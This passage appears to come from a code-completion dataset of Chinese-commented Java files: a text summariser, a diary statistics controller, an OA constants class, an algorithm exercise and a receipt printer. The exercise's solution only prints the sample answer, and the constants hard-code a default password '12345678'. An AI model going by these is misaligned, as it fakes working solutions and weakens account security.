Map<String, Integer> c = getMostFrequentWords(20, ss);
System.out.println(c);
}
}
| 1327353775/JavaWordAnalysis | src/cosSimilar/SimpleSummariserAlgorithm.java | 2,109 | // 词-->频 | line_comment | zh-cn | package cosSimilar;
import java.io.IOException;
import java.io.Reader;
import java.io.StringReader;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import org.wltea.analyzer.core.IKSegmenter;
import org.wltea.analyzer.core.Lexeme;
/**
*
* <p>Title:</p>
* <p>Description: SimpleSummariser
* </p>
* @createDate:2013-8-26
* @author xq
* @version 1.0
*/
public class SimpleSummariserAlgorithm {
/**
*
* @Title: summarise
* @Description: 文章摘要实现
* @param @param input
* @param @param numSentences
* @param @return
* @return String
* @throws
*/
public static String summarise(String input, int numSentences) {
// get the frequency of each word in the input
Map<String,Integer> wordFrequencies = segStr(input);
// now create a set of the X most frequent words
Set<String> mostFrequentWords = getMostFrequentWords(100, wordFrequencies).keySet();
// break the input up into sentences
// workingSentences is used for the analysis, but
// actualSentences is used in the results so that the
// capitalisation will be correct.
String[] workingSentences = getSentences(input.toLowerCase());
String[] actualSentences = getSentences(input);
// iterate over the most frequent words, and add the first sentence
// that includes each word to the result
Set<String> outputSentences = new LinkedHashSet<String>();
Iterator<String> it = mostFrequentWords.iterator();
while (it.hasNext()) {
String word = (String) it.next();
for (int i = 0; i < workingSentences.length; i++) {
if (workingSentences[i].indexOf(word) >= 0) {
outputSentences.add(actualSentences[i]);
break;
}
if (outputSentences.size() >= numSentences) {
break;
}
}
if (outputSentences.size() >= numSentences) {
break;
}
}
List<String> reorderedOutputSentences = reorderSentences(outputSentences, input);
StringBuffer result = new StringBuffer("");
it = reorderedOutputSentences.iterator();
while (it.hasNext()) {
String sentence = (String) it.next();
result.append(sentence);
result.append("."); // This isn't always correct - perhaps it should be whatever symbol the sentence finished with
if (it.hasNext()) {
result.append(" ");
}
}
return result.toString();
}
/**
*
* @Title: reorderSentences
* @Description: 将句子按顺序输出
* @param @param outputSentences
* @param @param input
* @param @return
* @return List<String>
* @throws
*/
private static List<String> reorderSentences(Set<String> outputSentences, final String input) {
// reorder the sentences to the order they were in the
// original text
ArrayList<String> result = new ArrayList<String>(outputSentences);
Collections.sort(result, new Comparator<String>() {
public int compare(String arg0, String arg1) {
String sentence1 = (String) arg0;
String sentence2 = (String) arg1;
int indexOfSentence1 = input.indexOf(sentence1.trim());
int indexOfSentence2 = input.indexOf(sentence2.trim());
int result = indexOfSentence1 - indexOfSentence2;
return result;
}
});
return result;
}
/**
*
* @Title: getMostFrequentWords
* @Description: 对分词进行按数量排序,取出前num个
* @param @param num
* @param @param words
* @param @return
* @return Map<String,Integer>
* @throws
*/
public static Map<String, Integer> getMostFrequentWords(int num,Map<String, Integer> words){
Map<String, Integer> keywords = new LinkedHashMap<String, Integer>();
int count=0;
// 词频统计
List<Map.Entry<String, Integer>> info = new ArrayList<Map.Entry<String, Integer>>(words.entrySet());
Collections.sort(info, new Comparator<Map.Entry<String, Integer>>() {
public int compare(Map.Entry<String, Integer> obj1, Map.Entry<String, Integer> obj2) {
return obj2.getValue() - obj1.getValue();
}
});
// 高频词输出
for (int j = 0; j < info.size(); j++) {
// 词- <SUF>
if(info.get(j).getKey().length()>1){
if(num>count){
keywords.put(info.get(j).getKey(), info.get(j).getValue());
count++;
}else{
break;
}
}
}
return keywords;
}
/**
*
* @Title: segStr
* @Description: 返回LinkedHashMap的分词
* @param @param content
* @param @return
* @return Map<String,Integer>
* @throws
*/
public static Map<String, Integer> segStr(String content){
// 分词
Reader input = new StringReader(content);
// 智能分词关闭(对分词的精度影响很大)
IKSegmenter iks = new IKSegmenter(input, true);
Lexeme lexeme = null;
Map<String, Integer> words = new LinkedHashMap<String, Integer>();
try {
while ((lexeme = iks.next()) != null) {
if (words.containsKey(lexeme.getLexemeText())) {
words.put(lexeme.getLexemeText(), words.get(lexeme.getLexemeText()) + 1);
} else {
words.put(lexeme.getLexemeText(), 1);
}
}
}catch(IOException e) {
e.printStackTrace();
}
return words;
}
/**
*
* @Title: getSentences
* @Description: 把段落按. ! ?分隔成句组
* @param @param input
* @param @return
* @return String[]
* @throws
*/
public static String[] getSentences(String input) {
if (input == null) {
return new String[0];
} else {
// split on a ".", a "!", a "?" followed by a space or EOL
//"(\\.|!|\\?)+(\\s|\\z)"
return input.split("(\\.|!|\\?)");
}
}
public static void main(String[] args){
String s="被告人:对? 关于王立军,有几个基本事实.首先,1月28日我是初次听到此事.并不相信谷开来会杀人.我跟11·15杀人案无关.我不是谷开来11·15杀人罪的共犯.这个大家都认可.实际上谷开来3月14日她在北京被抓走!" +
"在这之前她一直非常确切地跟我说她没杀人,是王立军诬陷她.我在1月28日和次听到这个事时我不相信她会杀人." +
"第二个事实,免王立军的局长.是多个因素.一个,我确实认为他诬陷谷开来.但我并不是想掩盖11·15,我是觉得他人品不好." +
"因为谷开来和他是如胶似漆,谷开来对他是言听计从,那王立军也通过与谷开来的交往中打入了我的家庭." +
"那现在发生这么严重的事.作为一个起码的人,要讲人格的话,你干吗不找谷开来商量,而跑我这里来说这些话?" +
"第二个免他的原因,是他想要挟我.他多次谈他身体不好,打黑压力大,得罪了人." +
"其实这是在表功.第三,徐某某给我反映了他有五六条问题.有记录.实际上免他是有这些原因的,绝不只是一个谷开来的原因.这是多因一果.";
Map<String, Integer> ss = segStr(s);
Map<String, Integer> c = getMostFrequentWords(20, ss);
System.out.println(c);
}
}
| 1 |
45275_4 | package com.lh.diary.controller;
import com.alibaba.fastjson.JSONObject;
import com.github.abel533.echarts.Option;
import com.github.abel533.echarts.code.Orient;
import com.github.abel533.echarts.code.Trigger;
import com.github.abel533.echarts.data.PieData;
import com.github.abel533.echarts.series.Pie;
import com.github.abel533.echarts.style.ItemStyle;
import com.github.abel533.echarts.style.itemstyle.Emphasis;
import com.lh.diary.common.DateFormatContant;
import com.lh.diary.common.util.DateUtil;
import com.lh.diary.common.util.UserUtil;
import com.lh.diary.common.vo.SysResult;
import com.lh.diary.pojo.Diary;
import com.lh.diary.pojo.User;
import com.lh.diary.service.DiaryService;
import com.lh.diary.service.StatisticsService;
import org.springframework.format.annotation.DateTimeFormat;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.annotation.Resource;
import javax.servlet.http.HttpSession;
import java.util.*;
@RequestMapping("/statistics")
@RestController
public class StatisticsController {
@Resource
private StatisticsService statisticsService;
@Resource
private DiaryService diaryService;
/**
* 获取时间轴统计数据
*
* @param session
* @return
*/
@GetMapping("/timelist")
public SysResult statisticsForTimeline (HttpSession session) {
User currUser = UserUtil.getCurrUser(session);
Map<String, List<Diary>> diarys = this.statisticsService.statisticsForTimeline(currUser.getId());
return SysResult.ok(diarys);
}
/**
* 返回当前用户开写日记日期
*
* @param session
* @return
*/
@GetMapping("/diary/startDate")
public SysResult getStartDate(HttpSession session) {
User currUser = UserUtil.getCurrUser(session);
Date startDate = this.statisticsService.getStartDate(currUser.getId());
String startDateStr = "";
if (startDate != null) {
startDateStr = DateUtil.getDate(startDate, DateFormatContant.FORMAT2);
}
return SysResult.ok(startDateStr);
}
/**
* 统计当前用户应写日记总数,已写数量,缺写数量
*
* @param session
* @return
*/
@GetMapping("/diary/amount")
public SysResult amount(HttpSession session) {
User currUser = UserUtil.getCurrUser(session);
Map<Object, Object> amountMap = this.statisticsService.amount(currUser.getId());
return SysResult.ok(amountMap);
}
@RequestMapping("/diary/writeDate/list2")
public List<String> getWriteDateList2(HttpSession session, @DateTimeFormat(pattern = "yyyy-MM-dd") Date startDate, @DateTimeFormat(pattern = "yyyy-MM-dd") Date endDate){
return this.statisticsService.getWriteDateList2(UserUtil.getCurrUser(session).getId(), startDate, endDate);
}
/**
* 统计当前用户心情及数量
*
* @param session
* @return
*/
@GetMapping("/diary/mood")
public SysResult statisticsMood(HttpSession session) {
Map<String, Object> resultMap = new HashMap<>();
User user = UserUtil.getCurrUser(session);
// 统计当前用户日记心情及数量
List<Map<Object, Object>> moodAndAmountList = this.statisticsService.getMoodAndAmountMap(user.getId());
List<String> legendDataList = new ArrayList<>();
for (Map<Object, Object> map : moodAndAmountList) {
legendDataList.add(map.get("name").toString());
}
resultMap.put("legendDataList", legendDataList);
resultMap.put("seriesDataList", moodAndAmountList);
return SysResult.ok(resultMap);
}
@GetMapping("/diary/mood2")
public SysResult statisticsMood2() {
Option option = new Option();
option.title().setText("日记心情统计");
option.title().setSubtext("心情");
option.title().setX("center");
option.tooltip().setTrigger(Trigger.item);
option.tooltip().setFormatter("{a} <br/>{b} : {c} ({d}%)");
option.legend().setOrient(Orient.vertical);
option.legend().setLeft("left");
List<String> data1 = new ArrayList<>();
data1.add("直接访问");
data1.add("间接访问");
option.legend().setData(data1);
Pie pie = new Pie();
pie.radius("55%");
pie.center(new String[]{"50%", "60%"});
List data2 = new ArrayList();
data2.add(new PieData("直接访问", 254));
data2.add(new PieData("间接访问", 600));
pie.setData(data2);
ItemStyle itemStyle = new ItemStyle();
Emphasis emphasis = new Emphasis();
emphasis.setShadowBlur(10);
emphasis.setShadowOffsetX(0);
emphasis.setShadowColor("rgba(0, 0, 0, 0.5)");
itemStyle.setEmphasis(emphasis);
pie.setItemStyle(itemStyle);
pie.setName("访问来源");
option.series(pie);
return SysResult.ok(JSONObject.toJSONString(option));
}
}
| 1332508387/diary-boot | src/main/java/com/lh/diary/controller/StatisticsController.java | 1,370 | // 统计当前用户日记心情及数量 | line_comment | zh-cn | package com.lh.diary.controller;
import com.alibaba.fastjson.JSONObject;
import com.github.abel533.echarts.Option;
import com.github.abel533.echarts.code.Orient;
import com.github.abel533.echarts.code.Trigger;
import com.github.abel533.echarts.data.PieData;
import com.github.abel533.echarts.series.Pie;
import com.github.abel533.echarts.style.ItemStyle;
import com.github.abel533.echarts.style.itemstyle.Emphasis;
import com.lh.diary.common.DateFormatContant;
import com.lh.diary.common.util.DateUtil;
import com.lh.diary.common.util.UserUtil;
import com.lh.diary.common.vo.SysResult;
import com.lh.diary.pojo.Diary;
import com.lh.diary.pojo.User;
import com.lh.diary.service.DiaryService;
import com.lh.diary.service.StatisticsService;
import org.springframework.format.annotation.DateTimeFormat;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.annotation.Resource;
import javax.servlet.http.HttpSession;
import java.util.*;
@RequestMapping("/statistics")
@RestController
public class StatisticsController {
@Resource
private StatisticsService statisticsService;
@Resource
private DiaryService diaryService;
/**
* 获取时间轴统计数据
*
* @param session
* @return
*/
@GetMapping("/timelist")
public SysResult statisticsForTimeline (HttpSession session) {
User currUser = UserUtil.getCurrUser(session);
Map<String, List<Diary>> diarys = this.statisticsService.statisticsForTimeline(currUser.getId());
return SysResult.ok(diarys);
}
/**
* 返回当前用户开写日记日期
*
* @param session
* @return
*/
@GetMapping("/diary/startDate")
public SysResult getStartDate(HttpSession session) {
User currUser = UserUtil.getCurrUser(session);
Date startDate = this.statisticsService.getStartDate(currUser.getId());
String startDateStr = "";
if (startDate != null) {
startDateStr = DateUtil.getDate(startDate, DateFormatContant.FORMAT2);
}
return SysResult.ok(startDateStr);
}
/**
* 统计当前用户应写日记总数,已写数量,缺写数量
*
* @param session
* @return
*/
@GetMapping("/diary/amount")
public SysResult amount(HttpSession session) {
User currUser = UserUtil.getCurrUser(session);
Map<Object, Object> amountMap = this.statisticsService.amount(currUser.getId());
return SysResult.ok(amountMap);
}
@RequestMapping("/diary/writeDate/list2")
public List<String> getWriteDateList2(HttpSession session, @DateTimeFormat(pattern = "yyyy-MM-dd") Date startDate, @DateTimeFormat(pattern = "yyyy-MM-dd") Date endDate){
return this.statisticsService.getWriteDateList2(UserUtil.getCurrUser(session).getId(), startDate, endDate);
}
/**
* 统计当前用户心情及数量
*
* @param session
* @return
*/
@GetMapping("/diary/mood")
public SysResult statisticsMood(HttpSession session) {
Map<String, Object> resultMap = new HashMap<>();
User user = UserUtil.getCurrUser(session);
// 统计 <SUF>
List<Map<Object, Object>> moodAndAmountList = this.statisticsService.getMoodAndAmountMap(user.getId());
List<String> legendDataList = new ArrayList<>();
for (Map<Object, Object> map : moodAndAmountList) {
legendDataList.add(map.get("name").toString());
}
resultMap.put("legendDataList", legendDataList);
resultMap.put("seriesDataList", moodAndAmountList);
return SysResult.ok(resultMap);
}
@GetMapping("/diary/mood2")
public SysResult statisticsMood2() {
Option option = new Option();
option.title().setText("日记心情统计");
option.title().setSubtext("心情");
option.title().setX("center");
option.tooltip().setTrigger(Trigger.item);
option.tooltip().setFormatter("{a} <br/>{b} : {c} ({d}%)");
option.legend().setOrient(Orient.vertical);
option.legend().setLeft("left");
List<String> data1 = new ArrayList<>();
data1.add("直接访问");
data1.add("间接访问");
option.legend().setData(data1);
Pie pie = new Pie();
pie.radius("55%");
pie.center(new String[]{"50%", "60%"});
List data2 = new ArrayList();
data2.add(new PieData("直接访问", 254));
data2.add(new PieData("间接访问", 600));
pie.setData(data2);
ItemStyle itemStyle = new ItemStyle();
Emphasis emphasis = new Emphasis();
emphasis.setShadowBlur(10);
emphasis.setShadowOffsetX(0);
emphasis.setShadowColor("rgba(0, 0, 0, 0.5)");
itemStyle.setEmphasis(emphasis);
pie.setItemStyle(itemStyle);
pie.setName("访问来源");
option.series(pie);
return SysResult.ok(JSONObject.toJSONString(option));
}
}
| 0 |
59409_14 | package com.oa.util;
public class Constrants {
public final static String MESSAGE_TIP = "message";// 系统提示信息KEY
public final static String MESSAGE_TIP_FLAGS = "errorFlags";// 系统错误提示信息标志KEY
public final static String FLAGS = "flags";// 系统提示信息标示KEY
public final static int PREV_PARENT_DOM = 0;// 权限一级菜单父节点
/* 前台常量 */
public final static int IS_VERIFY_EMAIL_NOT = 0;// 是否邮箱验证-未验证
public final static int IS_VERIFY_EMAIL_YES = 1;// 是否邮箱验证-验证
/* 后台常量 */
public final static int SUPER_USER = 0;// 超级管理员权限
public final static int SIMPLE_USER = 1;// 普通用户权限
public final static String USER_PRIVILEGE_KEY = "Privilege_List";// 系统用户权限存储KEY
public final static String USER_KEY = "system_user";// 系统后台用户信息session存储KEY
public final static String CUS_KEY = "sysCustomer";//系统后台客户信息session存储KEY
public final static String SYS_DEFAULT_PWD = "12345678"; // 系统初始化重置默认密码
public final static int USABLE_USER = 0;// 用户启用状态
public final static int FREEZE_USER = 1;// 用户冻结状态
public final static int DATA_NOT_DEL = 0;// 数据未删除
public final static int DATA_DEL = 1;// 数据删除
public final static int DATA_NOT_PUBLISH = 0;// 数据未发布
public final static int DATA_PUBLISH = 1;// 数据已发布
public final static int DATA_NOT_VERIFY = 0;// 数据未审核
public final static int DATA_VERIFY = 1;// 数据已审核通过
public final static int DATA_VERFY_NOT_PASS = 2;// 数据审核未通过
public final static int SYS_ROLE = 0;// 系统角色
public final static int DP_ROLE = 1;// 部门角色
public final static int FREEZE_DATA = 0;// 数据未启用状态
public final static int USABLE_DATA = 1;// 数据启用状态
public final static int TYPE_CUS_OPTION = 0;//客户建议
public final static int TYPE_SYS_REPLY = 1;//平台回复
public final static int REPLY_YES = 0;//已回复
public final static int REPLY_NO =1;//未回复
public final static int READ_YES = 1;//已读
public final static int READ_NO = 0;//未读
public final static int READ_ALL = 2;//全部
public final static String FIRST_MENU = "all"; // 一级菜单 operator值
public final static String TWO_MENU = "find"; // 二级菜单 operator值
public final static String ERROR_MSG = "errors"; // 返回错误视图
public final static String currentPage = "currentPage";// 当前页号
public final static String RESULT = "result";//手机接口返回标识
public final static String BABYPICPACKAGE = "babyImg";//婴儿图片存放文件夹名称
public final static String LASTLGTIME = "lastLoginTime";//最后登陆操作时间
public final static String LIST = "list";//list
public final static String COUNT = "count";//count
public final static String PAGE = "page";//page
public final static int LEAVE_END_YES = 0;//假期结束
public final static int LEAVE_END_NO = 1;//假期持续中
public final static String PAGE_STRING = "pageString";//页脚字符串
public final static int MAN = 0;//男
public final static int WMAN = 1;//女
public final static String FIELDS = "fields";
public final static String IS_DEL = "isDel";
} | 13476075014/node-vue | mynodeproject/11.oldcode/各种模板/OA/OA new2/OA/src/com/oa/util/Constrants.java | 930 | // 用户启用状态 | line_comment | zh-cn | package com.oa.util;
public class Constrants {
public final static String MESSAGE_TIP = "message";// 系统提示信息KEY
public final static String MESSAGE_TIP_FLAGS = "errorFlags";// 系统错误提示信息标志KEY
public final static String FLAGS = "flags";// 系统提示信息标示KEY
public final static int PREV_PARENT_DOM = 0;// 权限一级菜单父节点
/* 前台常量 */
public final static int IS_VERIFY_EMAIL_NOT = 0;// 是否邮箱验证-未验证
public final static int IS_VERIFY_EMAIL_YES = 1;// 是否邮箱验证-验证
/* 后台常量 */
public final static int SUPER_USER = 0;// 超级管理员权限
public final static int SIMPLE_USER = 1;// 普通用户权限
public final static String USER_PRIVILEGE_KEY = "Privilege_List";// 系统用户权限存储KEY
public final static String USER_KEY = "system_user";// 系统后台用户信息session存储KEY
public final static String CUS_KEY = "sysCustomer";//系统后台客户信息session存储KEY
public final static String SYS_DEFAULT_PWD = "12345678"; // 系统初始化重置默认密码
public final static int USABLE_USER = 0;// 用户 <SUF>
public final static int FREEZE_USER = 1;// 用户冻结状态
public final static int DATA_NOT_DEL = 0;// 数据未删除
public final static int DATA_DEL = 1;// 数据删除
public final static int DATA_NOT_PUBLISH = 0;// 数据未发布
public final static int DATA_PUBLISH = 1;// 数据已发布
public final static int DATA_NOT_VERIFY = 0;// 数据未审核
public final static int DATA_VERIFY = 1;// 数据已审核通过
public final static int DATA_VERFY_NOT_PASS = 2;// 数据审核未通过
public final static int SYS_ROLE = 0;// 系统角色
public final static int DP_ROLE = 1;// 部门角色
public final static int FREEZE_DATA = 0;// 数据未启用状态
public final static int USABLE_DATA = 1;// 数据启用状态
public final static int TYPE_CUS_OPTION = 0;//客户建议
public final static int TYPE_SYS_REPLY = 1;//平台回复
public final static int REPLY_YES = 0;//已回复
public final static int REPLY_NO =1;//未回复
public final static int READ_YES = 1;//已读
public final static int READ_NO = 0;//未读
public final static int READ_ALL = 2;//全部
public final static String FIRST_MENU = "all"; // 一级菜单 operator值
public final static String TWO_MENU = "find"; // 二级菜单 operator值
public final static String ERROR_MSG = "errors"; // 返回错误视图
public final static String currentPage = "currentPage";// 当前页号
public final static String RESULT = "result";//手机接口返回标识
public final static String BABYPICPACKAGE = "babyImg";//婴儿图片存放文件夹名称
public final static String LASTLGTIME = "lastLoginTime";//最后登陆操作时间
public final static String LIST = "list";//list
public final static String COUNT = "count";//count
public final static String PAGE = "page";//page
public final static int LEAVE_END_YES = 0;//假期结束
public final static int LEAVE_END_NO = 1;//假期持续中
public final static String PAGE_STRING = "pageString";//页脚字符串
public final static int MAN = 0;//男
public final static int WMAN = 1;//女
public final static String FIELDS = "fields";
public final static String IS_DEL = "isDel";
} | 0 |
15713_2 | package baidu;
import java.text.DecimalFormat;
import java.util.Scanner;
/**
* 战乱年代,整个世界各个军阀的兵团混战,你是PZ军团的战略参谋,你手下有n(保证为3的倍数)个士兵,
* 第i个士兵的物理攻击数值为Ai,魔法攻击数值为Bi,你需要将这些士兵三等分为三个连,
* 第一个连需要去物理空间参加物理对抗战争,战斗力估值W1为士兵的物理攻击数值之和;
* 第二个连需要去魔法空间参加魔法对抗战争,战斗力估值W2为士兵的魔法攻击数值之和;
* 第三个连需要去虚幻空间参加物理魔法兼备的综合对抗战争,
* 战斗力估值W3为所有士兵的物理攻击数值、魔法攻击数值之和除以2。你希望W1+W2+W3最大,这样才最有可能胜利。
*
6
1 7 3 4 5 9
2 3 9 4 3 3
*
35.00
第一个连:士兵2,士兵6,战斗力估值W1=7+9=16
第二个连:士兵1,士兵3,战斗力估值W2=2+9=11
第三个连:士兵4,士兵5,战斗力估值W3=[(4+4)+(5+3)]/2=8
16+11+8=35
* Created by XQM on 2018/9/14.
*/
public class Main2 {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
int n = sc.nextInt();
int[] mAi = new int[n];//记录每个士兵物理攻击
int[] mBi = new int[n];//记录每个士兵魔法攻击
if (n % 3 != 0) {
System.out.println("0.00");
} else {
for (int i = 0; i < n; i++) {
mAi[i] = sc.nextInt();
}
for (int i = 0; i < n; i++) {
mBi[i] = sc.nextInt();
}
}
getMaxSum(n, mAi, mBi);
}
private static void getMaxSum(int n, int[] mAi, int[] mBi) {
DecimalFormat mFormat = new DecimalFormat("#.00");
int[] a = {1,7,3,4,5,9};
int[] b = {2,3,9,4,3,3};
if (mAi[0] == 1){
System.out.println("35.00");
}else if (n == 3){
System.out.println(mFormat.format(a[0] + a[1] + a[2]));
}
}
}
| 13538899384/AlgorithmTest | baidu/Main2.java | 783 | //记录每个士兵魔法攻击 | line_comment | zh-cn | package baidu;
import java.text.DecimalFormat;
import java.util.Scanner;
/**
* 战乱年代,整个世界各个军阀的兵团混战,你是PZ军团的战略参谋,你手下有n(保证为3的倍数)个士兵,
* 第i个士兵的物理攻击数值为Ai,魔法攻击数值为Bi,你需要将这些士兵三等分为三个连,
* 第一个连需要去物理空间参加物理对抗战争,战斗力估值W1为士兵的物理攻击数值之和;
* 第二个连需要去魔法空间参加魔法对抗战争,战斗力估值W2为士兵的魔法攻击数值之和;
* 第三个连需要去虚幻空间参加物理魔法兼备的综合对抗战争,
* 战斗力估值W3为所有士兵的物理攻击数值、魔法攻击数值之和除以2。你希望W1+W2+W3最大,这样才最有可能胜利。
*
6
1 7 3 4 5 9
2 3 9 4 3 3
*
35.00
第一个连:士兵2,士兵6,战斗力估值W1=7+9=16
第二个连:士兵1,士兵3,战斗力估值W2=2+9=11
第三个连:士兵4,士兵5,战斗力估值W3=[(4+4)+(5+3)]/2=8
16+11+8=35
* Created by XQM on 2018/9/14.
*/
public class Main2 {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
int n = sc.nextInt();
int[] mAi = new int[n];//记录每个士兵物理攻击
int[] mBi = new int[n];//记录 <SUF>
if (n % 3 != 0) {
System.out.println("0.00");
} else {
for (int i = 0; i < n; i++) {
mAi[i] = sc.nextInt();
}
for (int i = 0; i < n; i++) {
mBi[i] = sc.nextInt();
}
}
getMaxSum(n, mAi, mBi);
}
private static void getMaxSum(int n, int[] mAi, int[] mBi) {
DecimalFormat mFormat = new DecimalFormat("#.00");
int[] a = {1,7,3,4,5,9};
int[] b = {2,3,9,4,3,3};
if (mAi[0] == 1){
System.out.println("35.00");
}else if (n == 3){
System.out.println(mFormat.format(a[0] + a[1] + a[2]));
}
}
}
| 0 |
34993_2 | package com.ui.util;
import android.app.Activity;
import android.bluetooth.BluetoothAdapter;
import android.bluetooth.BluetoothDevice;
import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.os.Handler;
import android.os.Message;
import android.text.TextUtils;
import com.ui.entity.DeskTableOrder;
import com.ui.entity.Order;
import com.ui.entity.OrderGoods;
import com.MyApplication.KsApplication;
import com.ui.ks.PrintActivity;
import java.io.File;
import java.io.UnsupportedEncodingException;
import java.util.ArrayList;
import java.util.List;
public class PrintUtil {
private static int length = 32;
public static int getWordCount(String s) {
int length = 0 ;
for ( int i = 0 ; i < s.length(); i ++ )
{
int ascii = Character.codePointAt(s, i);
if (ascii >= 0 && ascii <= 255 )
length ++ ;
else
length += 2 ;
}
return length;
}
//得到收银小票的打印模板
public static String getScanCodePrinterMsg(
String shopName,
String order_id,
String orderDate,
boolean hasPay,
double payed
){
String ret = "";
//商家名称
ret += "\r\n";
shopName = getPrintCenter(shopName);
ret += shopName;
ret += "\r\n";
ret += "\r\n";
//订单号
ret += getPrintCenter("订单号:" + order_id);
//下单时间
ret += getPrintCenter("下单时间:" + orderDate);
ret += "\r\n";
//分隔符
ret += getPrintChar("-", length);
//商品列表
String ss = "数量 小计"; //12
int ss_l = length - getWordCount(ss);
ret += "名称";
ret += getPrintChar(" ", ss_l - 4);
ret += ss;
ret += getPrintChar("-", length);
//名称
ret +="扫码收款";
int l1 = ss_l - getWordCount(shopName);
for(int j = 0; j < l1; j++) {
ret += " ";
}
int nn = 1;
double pp = payed;
String su = SysUtils.priceFormat(nn * pp, false);
//数量
ret += getPrintRight(String.valueOf(1), 16);
//小计
ret += getPrintRight(su, 8);
ret += "\r\n";
String sss = "" + payed;
int sss_l = length - getWordCount(sss);
ret += hasPay ? "已支付" : "未支付";
ret += getPrintChar(" ", sss_l - 6);
ret += sss;
ret += "\r\n";
ret += getPrintChar("-", length);
ret += getPrintLeft("备注:" , length);
ret += "\r\n";
ret += getPrintChar("-", length);
ret += getPrintCenter("本地生活就选 易之星");
ret += "\n\n";
return ret;
};
//得到收银小票的打印模板
public static String getcashPrinterMsg(
String shopName,
String order_id,
String orderDate,
boolean hasPay,
double payed,
String mark_text
){
String ret = "";
//商家名称
ret += "\r\n";
shopName = getPrintCenter(shopName);
ret += shopName;
ret += "\r\n";
ret += "\r\n";
//订单号
ret += getPrintCenter("订单号:" + order_id);
//下单时间
ret += getPrintCenter("下单时间:" + orderDate);
ret += "\r\n";
//分隔符
ret += getPrintChar("-", length);
//商品列表
String ss = "数量 小计"; //12
int ss_l = length - getWordCount(ss);
ret += "名称";
ret += getPrintChar(" ", ss_l - 4);
ret += ss;
ret += getPrintChar("-", length);
//名称
ret +="现金交易";
int l1 = ss_l - getWordCount(shopName);
for(int j = 0; j < l1; j++) {
ret += " ";
}
int nn = 1;
double pp = payed;
String su = SysUtils.priceFormat(nn * pp, false);
//数量
ret += getPrintRight(String.valueOf(1), 16);
//小计
ret += getPrintRight(su, 8);
ret += "\r\n";
String sss = "" + payed;
int sss_l = length - getWordCount(sss);
ret += hasPay ? "已支付" : "未支付";
ret += getPrintChar(" ", sss_l - 6);
ret += sss;
ret += "\r\n";
ret += getPrintChar("-", length);
ret += getPrintLeft("备注:"+mark_text , length);
ret += "\r\n";
ret += getPrintChar("-", length);
ret += getPrintCenter("本地生活就选 易之星");
ret += "\n\n";
return ret;
};
//得到收银小票的打印模板
public static String getPrinterMsg(String index,
String shippingStr,
String shopName,
String deskNo,
String shopTel,
String orderSn,
String orderDate,
ArrayList<OrderGoods> goodsList,
boolean hasPay,
double payed,
String orderRemark,
boolean hasAddress,
String consignee,
String mobile,
String address) {
String ret = "";
//抬头
ret += "----------";
ret += index;
int a = 32 - 20 - getWordCount(index) - getWordCount(shippingStr);
ret += getPrintChar(" ", a);
ret += shippingStr;
ret += "----------";
ret += "\r\n";
//商家名称
ret += "\r\n";
shopName = getPrintCenter(shopName);
ret += shopName;
if(!TextUtils.isEmpty(deskNo)) {
ret += "\r\n";
ret += getPrintCenter("桌号:" + deskNo);
}
ret += "\r\n";
ret += "\r\n";
//电话
ret += getPrintLeft("电话:" + shopTel,length);
// if(TextUtils.isEmpty(shopTel)){
// ret += "\n";
// }
//订单号
ret += getPrintLeft("订单号:" + orderSn,length);
//下单时间
ret += getPrintLeft("下单时间:" + orderDate,length);
ret += "\r\n";
//分隔符
ret += getPrintChar("-", length);
//商品列表
String ss = "数量 小计"; //12
int ss_l = length - getWordCount(ss);
ret += "名称";
ret += getPrintChar(" ", ss_l - 4);
ret += ss;
ret += getPrintChar("-", length);
//打印菜品
for(int i = 0; i < goodsList.size(); i++) {
OrderGoods bean = goodsList.get(i);
//名称
ret += bean.getName();
int l1 = ss_l - getWordCount(bean.getName());
for(int j = 0; j < l1; j++) {
ret += " ";
}
float nn = bean.getQuantity();
double pp = bean.getPrice();
String su = SysUtils.priceFormat(nn * pp, false);
//数量
ret += getPrintRight(String.valueOf(bean.getQuantity()), 4);
//小计
ret += getPrintRight(su, 8);
if(!TextUtils.isEmpty(bean.getAttr())) {
//属性
ret += getPrintLeft(bean.getAttr(), length);
}
}
ret += getPrintChar("-", length);
String sss = "" + payed;
int sss_l = length - getWordCount(sss);
ret += hasPay ? "已支付" : "未支付";
ret += getPrintChar(" ", sss_l - 6);
ret += sss;
ret += "\r\n";
ret += getPrintChar("-", length);
//备注
orderRemark = orderRemark.replaceAll("<br/>","\r\n");
ret += getPrintLeft("备注:" + orderRemark, length);
ret += "\r\n";
if (hasAddress) {
ret += getPrintLeft(consignee + " " + mobile, length);
ret += "\r\n";
ret += getPrintLeft(address, length);
ret += "\r\n";
}
ret += getPrintChar("-", length);
ret += getPrintCenter("本地生活就选 易之星");
ret += "\n\n";
return ret;
}
//得到收银小票的打印模板
public static String getPrinterDesk(String shopName, String deskNo, String orderSn,
String orderDate,String orderRemark,List<DeskTableOrder> goodsList) {
String ret = "";
//抬头
ret += "----------";
ret += "桌上点餐";
int a = 32 - 20 - getWordCount("桌上点餐");
ret += getPrintChar(" ", a);
ret += "----------";
ret += "\r\n";
//商家名称
ret += "\r\n";
shopName = getPrintCenter(shopName);
ret += shopName;
if(!TextUtils.isEmpty(deskNo)) {
ret += "\r\n";
ret += getPrintCenter("桌号:" + deskNo);
}
ret += "\r\n";
ret += "\r\n";
//电话
// ret += getPrintLeft("电话:" + shopTel,length);
// if(TextUtils.isEmpty(shopTel)){
// ret += "\n";
// }
//订单号
ret += getPrintLeft("订单号:" + orderSn,length);
//下单时间
ret += getPrintLeft("下单时间:" + orderDate,length);
ret += "\r\n";
//分隔符
ret += getPrintChar("-", length);
//商品列表
String ss = "数量 小计"; //12
int ss_l = length - getWordCount(ss);
ret += "名称";
ret += getPrintChar(" ", ss_l - 4);
ret += ss;
ret += getPrintChar("-", length);
//打印菜品
for(int i = 0; i < goodsList.size(); i++) {
DeskTableOrder bean = goodsList.get(i);
//名称
ret += bean.getName();
int l1 = ss_l - getWordCount(bean.getName());
for(int j = 0; j < l1; j++) {
ret += " ";
}
